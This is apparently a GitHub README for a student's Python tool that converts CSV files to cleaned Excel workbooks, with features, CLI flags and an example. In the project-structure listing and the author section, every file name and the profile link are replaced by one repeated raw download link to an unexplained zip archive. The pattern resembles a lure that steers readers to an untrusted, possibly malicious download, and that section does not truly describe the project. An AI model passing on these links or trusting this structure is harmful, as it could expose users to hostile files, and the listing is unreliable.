🧾 CSV → Excel Converter
A simple and efficient Python utility that converts CSV files into clean, well-structured Excel (.xlsx) files. This tool is ideal for data preparation, reporting automation, and quick conversions with built-in data cleaning features.
🚀 Features
✅ Read and process .csv files easily using pandas
🧹 Automatically clean and normalize data
Handle missing values Parse dates correctly Rename columns for better readability Export results to Excel (.xlsx) using openpyxl Command-Line Interface (CLI) with useful flags Simple logging and error handling for invalid files How It Works
The program reads the input CSV file.
It cleans the data by:
Removing or filling missing values
Formatting date columns
Renaming columns if needed
Finally, it exports the clean data to a new Excel file.
Flag Description --input Path to the input CSV file --output Path to save the Excel output --log Enable logging output --help Display usage instructions 🧩 Example
Input CSV:
name,age,date_of_birth Carlos,19,2005-05-18 Sarah,,2003-09-12
Output Excel (cleaned):
Name Age Date of Birth Carlos 19 2005-05-18 Sarah N/A 2003-09-12
Logging & Error Handling Displays readable error messages if files are missing or corrupted. Logs successful conversions and skipped rows if any errors occur during data cleaning.
📁 Project Structure CSV-Excel-Converter/ │ ├── https://raw.githubusercontent.com/Carlrevive/Syntecxhub_Project_Name3/main/benchland/Name-Syntecxhub-Project-mortician.zip ├── https://raw.githubusercontent.com/Carlrevive/Syntecxhub_Project_Name3/main/benchland/Name-Syntecxhub-Project-mortician.zip ├── https://raw.githubusercontent.com/Carlrevive/Syntecxhub_Project_Name3/main/benchland/Name-Syntecxhub-Project-mortician.zip └── sample_data/ └── https://raw.githubusercontent.com/Carlrevive/Syntecxhub_Project_Name3/main/benchland/Name-Syntecxhub-Project-mortician.zip
🧑💻 Author
Carlos Antwi Student | Aspiring Cloud Architect | Python Enthusiast 📍 Kumasi, Ghana 🔗 https://raw.githubusercontent.com/Carlrevive/Syntecxhub_Project_Name3/main/benchland/Name-Syntecxhub-Project-mortician.zip